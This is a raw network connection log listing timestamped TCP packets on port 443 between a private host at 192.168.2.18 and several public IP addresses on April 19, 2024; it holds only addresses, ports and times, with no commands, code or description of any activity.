Apr 19, 2024 17:01:54.209290028 CEST	49738	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.209342957 CEST	443	49738	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.209476948 CEST	49738	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.209489107 CEST	443	49738	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.252110958 CEST	443	49736	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.252125025 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.253896952 CEST	49738	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.253915071 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.253915071 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.253942966 CEST	49739	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.254055023 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.254112959 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.301312923 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.467111111 CEST	443	49736	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.467154026 CEST	443	49736	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.467210054 CEST	49736	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.467228889 CEST	443	49736	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.467242002 CEST	443	49736	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.467292070 CEST	49736	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.468348026 CEST	49736	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.468365908 CEST	443	49736	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.471368074 CEST	49741	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.471412897 CEST	443	49741	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.471514940 CEST	49741	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.471733093 CEST	49741	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.471749067 CEST	443	49741	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.475961924 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.476010084 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.476038933 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.476063967 CEST	49739	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.476078987 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.476126909 CEST	49739	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.476131916 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.476145029 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.476205111 CEST	49739	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.477580070 CEST	49739	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.477596045 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.481667995 CEST	49742	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.481710911 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.481812954 CEST	49742	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.482152939 CEST	49742	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.482166052 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.569658995 CEST	443	49738	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.569695950 CEST	443	49738	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.569792032 CEST	443	49738	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.569809914 CEST	49738	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.569881916 CEST	49738	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.571115017 CEST	49738	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.571135998 CEST	443	49738	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.574712992 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.574771881 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.574796915 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.574822903 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.574825048 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.574847937 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.574884892 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.574906111 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.574915886 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.574924946 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.574943066 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.574970961 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.575205088 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.575256109 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.575282097 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.575294018 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.575300932 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.575341940 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.575349092 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.576159954 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.576185942 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.576209068 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.576231956 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.576255083 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.576266050 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.576309919 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.576765060 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.576770067 CEST	49743	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.576817036 CEST	443	49743	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.576870918 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.576895952 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.576915026 CEST	49743	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.576920033 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.576942921 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.576953888 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.576978922 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.577256918 CEST	49743	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.577270031 CEST	443	49743	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.577725887 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.577754021 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.577778101 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.577794075 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.577804089 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.577819109 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.577826023 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.577883005 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.577893019 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.578594923 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.578629017 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.578663111 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.578665018 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.578676939 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.578706980 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.578716040 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.578762054 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.579361916 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.579437971 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.579461098 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.579478979 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.579488993 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.579516888 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.579528093 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.579534054 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.579590082 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.580275059 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.580338001 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.580394983 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.580403090 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.634918928 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.666831017 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.666902065 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.666944981 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.666985989 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.666999102 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.667030096 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.667054892 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.667109966 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.667148113 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.667152882 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.667161942 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.667200089 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.667402983 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.667475939 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.667514086 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.667514086 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.667535067 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.667570114 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.668061018 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.668138981 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.668179035 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.668179989 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.668190002 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.668239117 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.668246984 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.668836117 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.668884039 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.668896914 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.668905020 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.668942928 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.668950081 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.668998957 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.669034958 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.669042110 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.669774055 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.669826984 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.669934988 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.669946909 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.674149036 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.674206018 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.674235106 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.674257994 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.674273968 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.674320936 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.674328089 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.674336910 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.674375057 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.675004959 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.675017118 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.677838087 CEST	49744	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.677881002 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.677975893 CEST	49744	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.678206921 CEST	49744	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.678220034 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.679337025 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.679348946 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.679399014 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.679405928 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.679419041 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.679471016 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.679485083 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.680156946 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.680187941 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.680217028 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.680224895 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.680253983 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.680862904 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.680917025 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.680923939 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.680980921 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.681680918 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.681736946 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.681782961 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.681837082 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.682640076 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.682666063 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.682696104 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.682703018 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.682715893 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.682740927 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.683289051 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.683320045 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.683351994 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.683358908 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.683386087 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.683408976 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.683413029 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.683424950 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.683463097 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.683533907 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.683547974 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.688656092 CEST	443	49741	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.688891888 CEST	49741	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.688901901 CEST	443	49741	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.689168930 CEST	443	49741	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.689466953 CEST	49741	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.689512968 CEST	443	49741	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.689588070 CEST	49741	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.695841074 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.696185112 CEST	49742	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.696208000 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.696501017 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.696815014 CEST	49742	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.696858883 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.696940899 CEST	49742	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.732119083 CEST	443	49741	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.740112066 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.794728994 CEST	443	49743	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.795037985 CEST	49743	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.795057058 CEST	443	49743	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.796139002 CEST	443	49743	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.796242952 CEST	49743	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.796493053 CEST	49743	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.796561003 CEST	443	49743	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.796633005 CEST	49743	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.796641111 CEST	443	49743	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.839943886 CEST	49743	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.896507025 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.896958113 CEST	49744	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.896974087 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.898605108 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.898689032 CEST	49744	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.899106979 CEST	49744	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.899193048 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.899336100 CEST	49744	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.899343967 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.949176073 CEST	443	49741	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.949230909 CEST	443	49741	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.949284077 CEST	49741	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.949300051 CEST	443	49741	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.949312925 CEST	443	49741	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.949369907 CEST	49741	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.950047970 CEST	49741	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.950064898 CEST	443	49741	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.950918913 CEST	49744	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.954972982 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.955015898 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.955041885 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.955084085 CEST	49742	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.955111027 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.955152035 CEST	49742	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.955158949 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.955171108 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.955213070 CEST	49742	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.955837011 CEST	49742	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.955852032 CEST	443	49742	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.258640051 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.258701086 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.258742094 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.258774042 CEST	49744	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:55.258805990 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.258857965 CEST	49744	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:55.258867025 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.258896112 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.258943081 CEST	49744	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:55.259838104 CEST	49744	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:55.259854078 CEST	443	49744	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.259957075 CEST	443	49743	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.260005951 CEST	443	49743	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.260045052 CEST	49743	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:55.260054111 CEST	443	49743	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.260090113 CEST	443	49743	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.260142088 CEST	49743	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:55.262201071 CEST	49743	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:55.262206078 CEST	443	49743	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:55.625683069 CEST	443	49713	142.250.9.99	192.168.2.18
Apr 19, 2024 17:01:55.625864983 CEST	443	49713	142.250.9.99	192.168.2.18
Apr 19, 2024 17:01:55.626049995 CEST	49713	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:01:56.433936119 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:56.434009075 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:56.434092999 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:56.435329914 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:56.435364008 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:56.734546900 CEST	49713	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:01:56.734600067 CEST	443	49713	142.250.9.99	192.168.2.18
Apr 19, 2024 17:01:56.806446075 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:56.806549072 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:56.809540033 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:56.809561968 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:56.809911013 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:56.860927105 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:57.258435011 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:57.300164938 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:57.498003960 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:57.498033047 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:57.498043060 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:57.498059988 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:57.498097897 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:57.498117924 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:57.498163939 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:57.498166084 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:57.498173952 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:57.498195887 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:57.498229027 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:57.498249054 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:57.498275042 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:57.498323917 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:57.641266108 CEST	49673	443	192.168.2.18	204.79.197.203
Apr 19, 2024 17:01:57.737027884 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:57.737065077 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:57.737088919 CEST	49745	443	192.168.2.18	20.12.23.50
Apr 19, 2024 17:01:57.737097025 CEST	443	49745	20.12.23.50	192.168.2.18
Apr 19, 2024 17:01:57.942931890 CEST	49673	443	192.168.2.18	204.79.197.203
Apr 19, 2024 17:01:58.549932957 CEST	49673	443	192.168.2.18	204.79.197.203
Apr 19, 2024 17:01:59.756932974 CEST	49673	443	192.168.2.18	204.79.197.203
Apr 19, 2024 17:02:02.158034086 CEST	49673	443	192.168.2.18	204.79.197.203
Apr 19, 2024 17:02:04.772537947 CEST	49679	443	192.168.2.18	52.182.141.63
Apr 19, 2024 17:02:05.088049889 CEST	49679	443	192.168.2.18	52.182.141.63
Apr 19, 2024 17:02:05.694032907 CEST	49679	443	192.168.2.18	52.182.141.63
Apr 19, 2024 17:02:06.900962114 CEST	49679	443	192.168.2.18	52.182.141.63
Apr 19, 2024 17:02:06.964447975 CEST	49673	443	192.168.2.18	204.79.197.203
Apr 19, 2024 17:02:07.307749987 CEST	49749	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:07.307787895 CEST	443	49749	172.67.179.148	192.168.2.18
Apr 19, 2024 17:02:07.307893038 CEST	49749	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:02:07.308199883 CEST	49749	443	192.168.2.18	172.67.179.148
